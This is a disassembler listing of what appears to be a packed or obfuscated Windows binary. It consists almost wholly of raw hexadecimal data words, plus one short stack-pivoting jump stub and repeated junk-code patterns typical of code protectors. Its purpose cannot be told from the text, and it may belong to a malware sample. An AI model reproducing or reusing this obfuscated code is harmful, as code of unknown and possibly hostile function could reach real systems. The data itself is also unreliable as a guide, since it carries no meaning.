		dd 66F81C02h, 0A766F897h, 8BACh, 1F6F8A00h, 0D97785D2h
		dd 748ADEF7h, 0A3EE7DEAh, 74BFE2Bh, 6E2EA7A4h, 4E85A897h
		dd 0AEA6F930h, 71F30C88h, 5EFADC94h, 370C08Dh, 75C9C8D4h
		dd 0EDA8730Ah, 0EA745771h, 0DDE4023h, 5483F040h, 677DA948h
		dd 0ACDDC879h, 16B996A9h, 4CD25158h, 8BC39C26h,	252CFF56h
		dd 412h, 28E4E07Dh, 78B488CFh, 8B07391Fh, 0D7D3F56Ch, 609CA6B8h
		dd 0A1B92215h, 5604639Fh, 257B06Ch, 0A3A5C23Eh,	0BC530985h
		dd 0D8F51E90h, 0DDF57392h, 0EBC07EF0h, 0C050FE94h, 0FF4F94EBh
		dd 0CAD665F2h, 94EBC020h, 4CAF91C9h, 2834DBD2h,	8ADEF75Ah
		dd 0FD40ABB7h, 86B89E7Bh, 0D78CD86Ah, 489B4A35h, 3AD01h
		dd 497BE000h, 192F324Dh, 0E8DE829Dh, 0B490D32Ch, 13B1F78h
		dd 1CB97885h, 6B84003Ah, 0BAD5D1F3h, 867A3A5h, 0E8B26E48h
		dd 0F6BB3543h, 4ACE92D8h, 0E1C78176h, 0ACB8470Ah, 94EBC002h
		dd 4B9CEB77h, 37DA0986h, 49B9AA63h, 201062F7h, 1D7A74D3h
		dd 97AB0044h, 5C0EC7Bh,	88AC690h, 80C9A16h, 0A13EA54Ch
		dd 3D5887B9h, 0B7CB2024h, 4CBD87D8h, 281A8996h,	0EBB902A8h
		dd 0FBFE52F3h, 67F3DE8Ch, 3D075BA6h, 0E10E7DEEh, 0AF3A25h
		dd 0AB4D7AF4h, 45130F33h, 33AB4DABh, 4D4940DEh,	0AE1C781h
		dd 4C9BBDB7h, 0D6350B51h, 6C9D4148h, 0D88D71Ch,	94A8B14Ah
		dd 4381F78h, 0DB7E8A85h, 0BA8AC6DEh, 0FB8947A4h, 0B16D3F3Eh
		dd 0E48EBC80h, 0E2776BDBh, 89B3A7h, 2E8Bh, 1F6F5700h, 8BF685D2h
		dd 45895FC1h, 83D9B660h, 0D9D06EBDh, 0C6F6B2B7h, 7E4DCD8Ah
		dd 3EC5C452h, 93778E6Dh, 6BDF0B67h, 0FFB377h, 711F0000h
		dd 0AD7E4812h, 2003A28Dh, 8A4E8141h, 6244FC03h,	0D92C3289h
		dd 0C4274385h, 0B89FFA89h, 4D1B2784h, 94EBF6A3h, 3E4148D6h
		dd 74CB2006h, 51DBE9FCh, 2494EBF6h, 74629E3Ah, 94EBED87h
		dd 1D2B3E36h, 94EBF193h, 0F90F78E6h, 15F5952h, 0F189430h
		dd 0CB1FAD80h, 4A4331BAh, 0CC1B3D37h, 74B58BD1h, 2F44B4A1h
		dd 0E78D94A0h, 18C8AC6h, 84313479h, 793CED15h, 5F3A25E1h
		dd 58E6C5FFh, 2350A051h, 507EA8B4h, 4C93730Ch, 41D93214h
		dd 802FBA25h, 4C50FA74h, 1A938F67h, 0AD695307h,	7FF90C52h
		dd 93EC7259h, 0D45EFACEh, 505B1DA2h, 0F3074E9Dh, 9A000001h
		dd 0EC0B87C1h, 3C5B5769h, 8DEA2618h, 0D936F2CAh, 3643BF81h
		dd 0BE80D643h, 0F392542h, 0D9E37493h, 0A482C2DDh, 8F9DB268h
		dd 92D8F8FDh, 71BC9490h, 0C054D6E2h, 312994EBh,	8FB1A9F8h
		dd 5A7CF413h, 8CD2B15Eh, 0C0C951BAh, 11F6FBAh, 869F4BC3h
		dd 81200F32h, 5810DF0Eh, 6A76E17Dh, 8AC6C947h, 5CB203Eh
		dd 6D3ECD77h, 4621D486h, 22830448h, 0C615F612h,	0AD5FAC92h
		dd 0F91DD4A8h, 1C568478h, 0C0776C34h, 0C3h, 0E1C78102h
		dd 99A3B70Ah, 0DB919E32h, 202094EBh, 0E9D8A06h,	143B48E2h
		dd 421D3D6Bh, 9DE42503h, 3752FDDBh, 1EED1C20h, 4790DD2Dh
		dd 0EA6E2DB8h, 7D6BF7D4h, 6B143BF3h, 7F119886h,	7539775Ah
		dd 7EE92535h, 0A4072123h, 92E2139Ah, 0C397F25Dh, 0F30130F9h
		dd 730DC3E2h, 4F4A9585h, 596FF20Bh, 0ED83EC72h,	27BEB525h
		dd 0F817932Fh, 0AAD65C66h, 91505B90h, 0F00B42h,	0BE9F0000h
		dd 6AF10E8Ah, 1B415E5Ah, 0D78EE925h, 84DA35F1h,	443B4642h
		dd 41BD87DBh, 96123426h, 20DCE079h, 6FAB8DC7h, 0F8729EADh
		dd 8D92D8F9h, 1271B397h, 6DB47553h, 775110F5h, 0C052DCE8h
		dd 3B2794EBh, 4C04639Fh
		dd 812AAE6Ah, 24C6D2C7h, 5994EBC0h, 0FB46A5C1h,	65F05F79h
		dd 430D3326h
dword_5C0024	dd 94EBC0A9h, 0E6C681DCh, 6E9F434Ah, 7A86D11Eh,	8ADEF7D8h
					; DATA XREF: ___:00427A10o
		dd 2762ED6Dh, 0BDD6DC31h, 2270D36Ch, 94152586h,	1D5F4A01h
		dd 9629D50Ch, 251DBE9h,	3A246D27h, 50106F9Eh
dword_5C005C	dd 1B5DBA76h, 0A3E2EE3Dh, 80ED76B4h, 251F9377h,	0D78A2430h
					; DATA XREF: ___:off_427B64o
		dd 63FFED15h, 0B4ACCBC7h, 0A0564592h, 0A94FA2A4h, 0C526263Dh
		dd 1D9019B5h, 4AA187BEh, 1A26B55Ah, 0ED159990h,	8BB475E5h
		dd 687403B7h, 0ED1599C6h, 89C8A7BBh, 21237EAFh,	0F46C8B07h
		dd 356F9D2h, 40000000h,	0DC817A5Eh, 84BC03E8h, 6DF249A2h
		dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh
		dd 15489774h, 8108D833h, 4ECh, 24048900h, 405E089h, 83000000h
		dd 48704E8h, 89535C24h,	4C381E3h, 83000000h, 1C8704EBh
		dd 0C895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 2404895Ch, 4CDDBB53h, 3C682D4Ch, 592B7F65h, 545BD931h
		dd 8124048Bh, 4C4h, 5D515500h, 5D086889h, 5024048Bh, 405E089h
		dd 83000000h, 48704C0h,	0C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544660
; ---------------------------------------------------------------------------
		dw 80BDh
		dd 519AA68h, 6E119693h,	333A33B8h, 0FFC50306h, 12B236E0h
		dd 4B8F9415h, 6FCEBB64h, 0DC1C966Fh, 0D8F2C908h, 5551A52Fh
		dd 7D09016Bh, 0DEF9650Bh, 55682041h, 8134AD72h,	0D2456565h
		dd 93CC8449h, 907F3A6Eh, 810FA87Dh, 0B98D8D36h,	8A06333Bh
		dd 0E18D89C7h, 89062B0Eh, 2B20F99Dh, 0E185C706h, 28062B21h
		dd 0E9000069h, 0Eh, 75D54383h, 0BA0C54D2h, 0A00166DEh
		dd 85C7757Bh, 62B2BE5h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 5CC35040h
		dd 4BD2C29Dh, 3305BD89h, 0FFFC062Bh, 2B1D15B5h,	0DF816606h
		dd 95FF16A4h, 62B2731h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 5FC35242h, 0BD93F15h,	0E99345C1h, 12h
		dd 2100F520h, 0D276976Eh, 0DD1CA97h, 3C49CECEh,	6A020Ah
		dd 294595FFh, 0C08B062Bh, 7B3F0FEBh, 87878F4Ah,	6E8093CFh
		dd 0FE4F5AC0h, 938D8DEDh, 6606333Ch, 898E6BBEh,	2B0EE18Dh
		dd 10E906h, 1F3F0000h, 0C2218C9Fh, 0D2FB09AEh, 0FEE5CC2Ah
		dd 7E94EABh, 35000000h,	0D0FB17E0h, 85C787C7h, 62B21E1h
		dd 6738h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	4AC35646h, 4ACBEE4Fh, 0C7DB5D7Fh, 2B2BE585h, 6
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 2ACE512Fh, 2ABA40B0h, 525B5FFh, 6A062Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0EF95CC3h, 1AE1858Bh, 95FF062Bh, 62B2731h, 8BBEB866h
		dd 95FF006Ah, 62B2945h,	4FEBC08Bh, 919802A6h, 21EE450Ah
		dd 0CE262ACCh, 0D3FAD371h, 1DDF0735h, 0B7071D02h, 2767835Dh
		dd 0E72C2AB2h, 0B8A8BDB7h, 243FAE3h, 0BB6E1DD3h, 62C4D450h
		dd 0FB0BF18h, 66F496DCh, 364978CFh, 0CA58B624h,	727EF89Ch
		dd 5FE38BB4h, 0C1BC55CBh, 8D394290h, 333D848Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 83FB08C4h, 898589E5h, 89062B00h, 2B0EE18Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 211D0C8Dh, 898B2661h, 2B001D85h, 0E185C706h,	98062B21h
		dd 0F00006Dh, 0D84h, 8E900h, 41630000h,	0DD3640DCh, 85C7B2DDh
		dd 62B2BE5h, 0
		dd 0FF8FD280h, 2B0DFDB5h, 0F88B6606h, 273195FFh, 0B70F062Bh
		dd 0FF006AF0h, 2B294595h, 0EBC08B06h, 66EF28h, 0B84A2A68h
		dd 0B1982215h, 200853DEh, 7787D36h, 1680AB68h, 79589B22h
		dd 0C2698E1h, 0FA4C1BECh, 794EBF76h, 31E94Fh, 22690000h
		dd 6F5Fh, 0Ah dup(0)
		dd 0E9000000h, 575h, 0D8D4F06Dh, 68A498BFh, 0BB77490Fh
		dd 0C7C3E55Ch, 108CB6A8h, 0B1A932E5h, 66F4138Fh, 1247A05Ch
		dd 0D395F22Eh, 0CC6339F5h, 0D8FD0EA0h, 66C54392h, 0BE0D372Bh
		dd 816D69A0h, 0B70AE1C7h, 21D99A3h, 0C8876442h,	79B094CDh
		dd 0A3082E26h, 4D04F95Ch, 62FE806Bh, 14323289h,	0D2F468B7h
		dd 0DDEEE75h, 43261A03h, 90D0CF52h, 0FACE77B6h,	1E9ABCB4h
		dd 0B75801h, 10064EDCh,	103FFB17h, 71DEEE75h, 0EB23C963h
		dd 6BA2BC94h, 92794314h, 0D6350F4Fh, 674B3F26h,	45D2CEF2h
		dd 0FE2F1146h, 2487A1A3h, 0EB2319A8h, 4E68E894h, 7391E7Dh
		dd 7357EEA4h, 4F879FCh,	97BC9CD6h, 60407Dh, 71820000h
		dd 7286B7E2h, 0F6DA6FCCh, 0EBC546E8h, 0E6273B94h, 50FFD99Bh
		dd 0EF1E2E35h, 0C520B01Ch, 0BC0B94EBh, 0D1897AE1h, 0E6021CEFh
		dd 8BB47505h, 0DEDF8BB7h, 1877D96h, 43000000h, 7DEADA81h
		dd 7C5A3E0Eh, 0FD2CBFE1h, 0B88CD32Eh, 73550C53h, 867AF398h
		dd 8F0B3D20h, 0DAD6F070h, 340A4E4Dh, 0D981D1F5h, 0A2B904E7h
		dd 53FE49A2h, 1E2A2334h, 94EBC06Ch, 2CDD79E1h, 75B4F33h
		dd 0C46046FEh, 50B5AFC8h, 4ED03B0Dh, 72E6A532h,	73CE5D4Ch
		dd 0ADF0DBEDh, 1A94A0B5h, 6F6B143Fh, 297457F3h,	0F4BF0C30h
		dd 30E48B7Fh, 1DF87817h, 6E50147h, 0B488B178h, 0FBCD930Eh
		dd 0F89F0E10h, 7D96DE7Eh, 8D06h, 0D981C000h, 0A3B904E7h
		dd 0AC454E9Dh, 0F26722D8h, 25DFDCEh, 0FF83685Eh, 966FF30Eh
		dd 33BDCBDEh, 4694EBC0h, 0D36FBCD8h, 0F10EF364h, 3C58B7C7h
		dd 0CCEE493h, 0B8D7E5A4h, 0EC728D71h, 0E41E8DDAh, 5AA9BEFBh
		dd 9FE2B178h, 6F2B80A4h, 0BAC4F2D6h, 427D9765h,	74h, 5212718Ch
		dd 0F46AB574h, 2C898E01h, 0DA95C04h, 0CAFE63BEh, 94230EE1h
		dd 0D771FB09h, 1A0494EBh, 0EBD7A24Ch, 424BD794h, 5231E5D9h
		dd 4DED3E08h, 2B1D455Ch, 1271EBEFh, 5B967553h, 0F2968CD8h
		dd 3EEF0BDEh, 63487CE3h, 0B93341ECh, 0CC94EB56h, 0A4355B52h
		dd 8D94EB56h, 1FAA5034h, 0EB567FF1h, 0FACC8E94h, 0ACB20911h
		dd 70105A7Dh, 1B47D97h,	16000000h, 6E5DB81h, 4C9FB9BBh
		dd 0C1E5D95Ch, 0E069A59Bh, 99F46390h, 102EFDC3h, 2B6A7699h
		dd 228AC6D9h, 2560EF3Ch, 98A60523h, 70560E11h, 0FC195BB4h
		dd 0DC3BB35Ah, 0F9615C7Bh, 54F08E5Dh, 45C95977h, 22386D3Fh
		dd 456B0513h, 1E6D3Fh, 3C4807E4h, 6D3F45B2h, 5EFC5BC7h
		dd 0AA288764h, 0F63EC02Ah, 7357ECD7h, 4A3E37FCh, 0EB19EC64h
		dd 0DA0AC79Ah, 0D433EF0Bh, 6E2DBA9Ch, 44D7D6E8h, 72597FF9h
		dd 60463A23h, 5DCAC6E0h, 0C0088A2Eh, 62AB57A2h,	6B680B67h
		dd 175B377h, 6F1F0000h,	0A449111Fh, 0DF5C4316h,	0C12A46C3h
		dd 0EDDFB7Ah, 2FB8D470h, 0C623E801h, 3838678Ah,	11ADCD1Eh
		dd 0CBED67BAh, 0A5B0B0CFh, 3E3A1597h, 5AF6686Dh, 3F2A2A71h
		dd 0C3CB0570h, 3D2B9722h, 6D3E0EB3h, 0EEC9EAAh,	0F9616D3Eh
		dd 2B801C02h, 6FBC86D4h, 97744E10h, 0EE8145FEh,	9423CE9Dh
		dd 3E0EE688h, 0D9879B6Dh, 6D3E0E57h, 4CF5342Ah,	14323278h
		dd 0A76B0798h, 4213776Ch, 0BF000000h, 84D3206Fh, 0AC5E6AF9h
		dd 0A194EBC0h, 0CE4070B9h, 0C314EBC0h, 0AE408C5Fh, 3F14EBC0h
		dd 77CA211Bh, 0A20DDEE2h, 0F222C5B9h, 7ECD877Bh, 0A8ABE671h
		dd 0E6F21D8Ch, 94EBC024h, 5EC5C159h, 0B7h, 0D21F6F38h
		dd 0DB3A7785h, 5A398AC6h, 29CC3D1Bh, 1877DA31h,	96A80345h
		dd 7AF2E8A9h, 0DECFC82Eh, 38A781C3h, 5177EEADh,	70FAE47Ah
		dd 696D3F7Ch, 3F7CD15Bh, 41BAA46Dh, 7C2CDEEAh, 39216D3Fh
		dd 59B66C9Dh, 0F3AE391Fh, 0EB775470h, 0EE7D5322h, 216D3F63h
		dd 57AA0127h, 3BD03B1Dh, 58AB3E02h, 0D05A66F5h,	0A56D3F7Bh
		dd 0F7CB74B5h, 1B97B1B3h, 24DA212h, 0A3926F6h, 0C4D07F73h
		dd 674ABD2Ah, 8894C35Fh, 674ABDE6h, 806B879Bh, 0CE1D3B3Dh
		dd 0BF6327DEh, 0F5778510h, 88674ABDh, 0BD26C896h, 0C75B674Ah
		dd 88E555C6h, 89D5B05Fh, 0FA424EBFh, 13797FFFh,	6F0F930Fh
		dd 7785D21Fh, 8ADE82A7h, 0C48B60FEh, 2812B39h, 6AF46D27h
		dd 11E45CA3h, 49E41AE6h, 5C58F426h, 0C4270143h,	0CBE6C308h
		dd 0E7DB5417h, 6BA781C3h, 0FFA1540Ch, 22DF4327h, 3596AAAFh
		dd 9E6D8925h, 72E70043h, 381E7D4Eh, 7995A506h, 0E71E0EDDh
		dd 0F3D58F23h, 0BE98D837h, 0DFA6Dh, 5EDC0000h, 0D45662F1h
		dd 0A994EBC0h, 815278B1h, 0BC03E8DCh, 0F249A284h, 2D705B6Dh
		dd 69B41731h, 0A1FCCFF1h, 0D92487B9h, 0E6DBE9Eh, 4897744Ah
		dd 8D83315h, 0F6B68h, 24048900h, 405E089h, 83000000h, 48704E8h
		dd 89515C24h, 4C181E1h,	83000000h, 0C8704E9h, 34895C24h
		dd 32086824h, 2C890000h, 0EC685124h, 5906333Dh,	5459CE89h
		dd 81242C8Bh, 4C4h, 329C6800h, 34890000h, 242C8124h, 223B43h
		dd 8108458Fh, 3B430845h, 34FF0022h, 0C4835D24h,	24348B04h
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFF83C60h
		dd 0A65AF135h, 0B543232Ch, 42D8B839h, 0C5030633h, 0C6C5E0FFh
		dd 147C0841h, 0E4C97D5Eh, 0E7137987h, 56C463B8h, 7673729Bh
		dd 8BA061Ah, 3C1B3C45h,	0A8025137h, 0C43B148Eh,	0D075DE7h
		dd 5BB52F0Dh, 0CDF5066Eh, 7B837F9Ch, 0DD3F20E2h, 0F1670389h
		dd 0EDE37D73h, 595B340Dh, 78120070h, 1B341E0Eh,	8DD8781Ah
		dd 0DA1B249Ah, 0C2684C0Ch, 0E7F5F4Eh, 7D2B1F21h, 0FE8116Dh
		dd 36000000h, 604EB487h, 612EEBE7h, 5281C675h, 0DE80519Ah
		dd 0C6815E24h, 7497h, 1CF768h, 0D2816600h, 80583CB5h, 0E8B79EEh
		dd 81F8B70Fh, 4F38C1F1h, 0E880606Eh, 8161FC89h,	33F02CF1h
		dd 8E0F5332h, 2, 815A6160h, 4B7944E9h, 0A8E0F2Bh, 60000000h
		dd 820Fh, 0DE8B0000h, 0E9605161h, 8, 0FF2A3735h, 6C12430Ah
		dd 8F6152B3h, 13E906h, 0D50D0000h, 478A229Fh, 0AD0CBDF3h
		dd 9D069F59h, 0FF97BD34h, 2EE8311h, 797812BBh, 484E4E13h
		dd 0E850Fh, 0BA660000h,	1BE92979h, 0C5000000h, 0FDB59FDEh
		dd 0E9FB8B66h, 0FFFFFF76h, 95BB2973h, 0DF42C614h, 0F6049BEEh
		dd 10EBE067h, 4	dup(0)
		dd 0BD83C08Bh, 62B01F9h, 83097500h, 2B1689BDh, 19740006h
		dd 0C08B5350h, 42DB8h, 81858900h, 8D062B1Bh, 2DBF759Dh
		dd 5BD3FF06h, 89BD8358h, 62B16h, 53501774h, 42DB8h, 81858900h
		dd 8D062B1Bh, 2DBC649Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0B00EFDD2h
		dd 14447824h, 820F5697h, 2, 8B5ED08Bh, 2B058D95h, 0F5B58B06h
		dd 8B062B06h, 81CE81C0h, 8B02EA15h, 2B27198Dh, 0DE806h
		dd 0E1650000h, 10584Ch,	0CBFE05F2h, 5AE6D53Ah, 0F00F983h
		dd 0BF84h, 0C9BD3100h, 64062B0Eh, 2C3D8Bh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 482C45C3h, 0D4FC016Ah, 840FFF0Bh, 88h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 0B2C35545h, 66340A06h
		dd 0BA3BE281h, 6A3F8Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0A6B95FC3h, 0C0C63281h, 8B318942h
		dd 6AC032D7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 2642C353h, 73F67816h, 6625E66Ch
		dd 0E9AAF3FCh, 0Ch, 0B87DF66Ah,	9D07D9Eh, 4536B865h, 50414935h
		dd 0FE953h, 9AA00000h, 690231C7h, 9C934B8Ch, 72452653h
		dd 2D85C6E9h, 47062B33h, 11840Fh, 0CE90000h, 29000000h
		dd 0AFC2A847h, 0A5F26093h, 0E85AB1BCh, 4, 0DCD6882Ch, 8B5BB250h
		dd 0E9042444h, 8, 0A7B08772h, 633D792h,	0ABBA008Bh, 893BA80Fh
		dd 0E9042444h, 0Eh, 4F3622D3h, 0F4747D1Ah, 9B046E7Ch, 6A587B2Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 3675C357h, 0B50BC8F8h, 62B1E5Dh, 998D8957h
		dd 5E062B08h, 1BDDB5FFh, 6A062Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0D01088C3h, 6729C7C2h
		dd 870F463Dh, 6, 16E9B501h, 858D062Bh, 62E83EBh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 39C35040h, 852B6049h
		dd 62B25E1h, 999BD29h, 0FF61062Bh, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 5EF71322h
		dd 6CD62C0Bh, 0F5958B5Bh, 89062B21h, 2B10AD85h,	0FD9D8906h
		dd 0C6062B07h, 2B332D85h, 6A5306h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 5167DC3h, 0F8B70F60h
		dd 6661F18Bh, 8508C681h, 29599503h, 0E768062Bh,	8A79C346h
		dd 240481F7h, 0ED52415h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 62C35545h, 68E68166h,	0DDB5FF0Bh, 89062B1Bh
		dd 2B00B99Dh, 0EB858D06h, 8B062E83h, 2B288DB5h,	6AD0FF06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8D83C352h, 2E467985h, 0E7E28106h,	8939FCEEh
		dd 2B28C585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0CA353CA2h, 2B1F3E77h, 2B2F9995h
		dd 6A206A06h, 0C595FFFFh, 35062B28h, 53504149h,	26BD85C7h
		dd 1062Bh, 85C70000h, 62B1545h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D5C35646h
		dd 10F82E50h, 1CA5BD01h, 0EE9062Bh, 0A9000000h,	0FB5BAA12h
		dd 66333754h, 0A030AC0Ch, 0A9858BD0h, 0F062B1Ah, 86h, 0A36400h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0CA57C357h, 69A36491h,	328DBD83h
		dd 0F00062Bh, 5A84h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 976F6E89h, 858B5E57h
		dd 62B1DB5h, 0C8E28166h, 6AE08BF1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0D0FDC356h
		dd 9E989h, 7BC90000h, 5C3058ECh, 83EDCB37h, 2B2FADBDh
		dd 850F0006h, 525h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 4BC35545h, 5ED8012Eh,	0F65BF7E6h, 0FE98Ch
		dd 3C7E0000h, 5DB623F1h, 0DA5CD0Ch, 0D206CA5Ah,	2D85C687h
		dd 56062B33h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	91C35242h, 0BE66E0B4h, 0F868088Dh, 0E9A3E7BFh
		dd 0Dh,	960C7097h, 0FD1E1624h, 5C755762h, 2434818Ah, 0A228F27h
		dd 10D1BD01h, 0B5FF062Bh, 62B1BDDh, 0C890Fh, 7E90000h
		dd 15000000h, 8EC7D1E4h, 858D53A8h, 62E83EBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CEC35242h, 0A72D4CC4h
		dd 0E9D0FFC9h, 7, 46E1DF7Bh, 90C77486h,	0BA665350h, 905A4E9Eh
		dd 0D5BE6660h, 119D0B4Eh, 61062B2Ch, 2AF18D8Dh,	958B062Bh
		dd 62B2475h, 880F5050h,	2, 895E5A56h, 8D29240Ch, 62B09ADh
		dd 6A046Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0E44856C3h, 0ABF681DAh, 332969BEh, 2B10F595h
		dd 4E806h, 10000000h, 5E90000h,	6000000h, 6AEAFA58h, 24448B50h
		dd 8BF08A04h, 12E800h, 943D0000h, 2489AFB8h, 88DE0443h
		dd 0F5838B14h, 1234FCE1h, 895AF38Bh, 8A042444h,	6A58D3h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 3B765EC3h, 0B58932EBh, 62B1909h, 809B5FFh, 12E8062Bh
		dd 0D1000000h, 24B435EEh, 44C8D4Ch, 0C29FB551h,	0D8C2734Ch
		dd 0CE816669h, 0FF5EB3F2h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0B67081F4h
		dd 718D8957h, 5E062B32h, 809BD8Bh, 0E9F5062Bh, 6, 0DE40F4E8h
		dd 7F033B2Ch, 57006A3Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0C78152C8h, 0F8h,	17E5B58Bh, 47C7062Bh
		dd 2024h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0F92C04F9h, 0D3CE78BEh, 0B1958B89h
		dd 83062B1Eh, 334494BDh, 840F0006h, 1C7h, 0ED1958Bh, 0C783062Bh
		dd 56006A28h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0EDBF6B5Ch, 0C3563A32h, 219533AFh, 0C7062B20h
		dd 696A2E07h, 50006A64h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 3D2A4D92h, 0CA8A47ABh, 1E6D958Bh
		dd 47C7062Bh, 61746104h, 0F2816600h, 9533EB64h,	62B1795h
		dd 449C858Bh, 6A0633h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0EAE498C3h, 89A77F94h, 858B0C47h
		dd 63344A0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0E0C35545h, 89D2AA53h, 2B323D85h, 8478906h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C4C35545h, 6B8F7E3Fh
		dd 1D6E8700h, 0D1B70F9Bh, 0C783D68Bh, 51006A28h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 982B1E5Ch, 12E860h, 0A2C20000h, 0ADFC485Eh, 2E737809h
		dd 2FCFF399h, 3008C349h, 0CC60E781h, 8B5E5873h,	2B11358Dh
		dd 7C76106h, 6E6F632Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 4AC35747h, 9F068132h,	62E5482Dh, 0C7F08B66h
		dd 69660447h, 8D890067h, 62B2FE5h, 4498858Bh, 7E90633h
		dd 0C3000000h, 8A339B9Bh, 47899E4Eh, 6800F0Ch, 89000000h
		dd 2B1D1DBDh, 94858B06h, 89063344h, 6A0847h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0E03DF1C3h
		dd 0FDB0BD8Fh, 58F28B66h, 14810Fh, 0FE90000h, 49000000h
		dd 0DFEEDBE0h, 0D9CA2FBAh, 3980F4A8h, 8D8DD860h, 62B2D01h
		dd 20798531h, 0B650062Bh, 240C891Bh, 0EDD9D09h,	0B5FF062Bh
		dd 62B2AF1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	2EC35242h, 27CA0546h, 0ED5BD89h, 4E8062Bh, 0
		dd 0E8000010h, 0Dh, 7BCC00EAh, 0F9BCAD81h, 3A336AEh, 5AF8B25Ch
		dd 11E950h, 0E9940000h,	9C183988h, 9DF1CEA6h, 0D9608085h
		dd 8B98A706h, 8B042444h, 0FE900h, 0CC920000h, 3F3071EDh
		dd 0A6A830Ah, 0BFC366C0h, 244489F5h, 0DE904h, 6EB10000h
		dd 7E800327h, 9443B44Ah, 58AFDC96h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0EDC35545h,	4CDA7E90h, 8A9E8F6Bh
		dd 9B5FFCBh, 89062B08h,	2B329D9Dh, 89D0FF06h, 2B1DC195h
		dd 0B806h, 8EB20000h, 840FC00Bh, 4Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0B0C35646h,	3F9A7DDh, 2B30A595h
		dd 99B5FF06h, 8B062B35h, 2B089195h, 3195FF06h, 8B062B27h
		dd 2B2BE995h, 95896006h, 62B3271h, 25D19531h, 8B61062Bh
		dd 0BD83F5C0h, 62B01F9h, 83097500h, 2B1689BDh, 19740006h
		dd 0C08B5350h, 42DB8h, 79858900h, 8D062B34h, 2DBFDC9Dh
		dd 5BD3FF06h, 89BD8358h, 62B16h, 53501774h, 42DB8h, 79858900h
		dd 8D062B34h, 2DBC7D9Dh, 5BD3FF06h, 0ED958958h,	6A062B28h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 2CB2C351h, 8CA2180Fh, 0C0D1C77Ah,	6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0C14493C3h, 286A6948h, 8DC08BDDh, 33503F8Dh,	0BFBB6606h
		dd 0E18D89BFh, 89062B0Eh, 2B0BAD95h, 0E185C706h, 20062B21h
		dd 6A000073h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 9F93C355h, 8B8BFBD0h, 2B069595h
		dd 0E585C706h, 62B2Bh, 6A000000h, 3E85100h, 20000000h
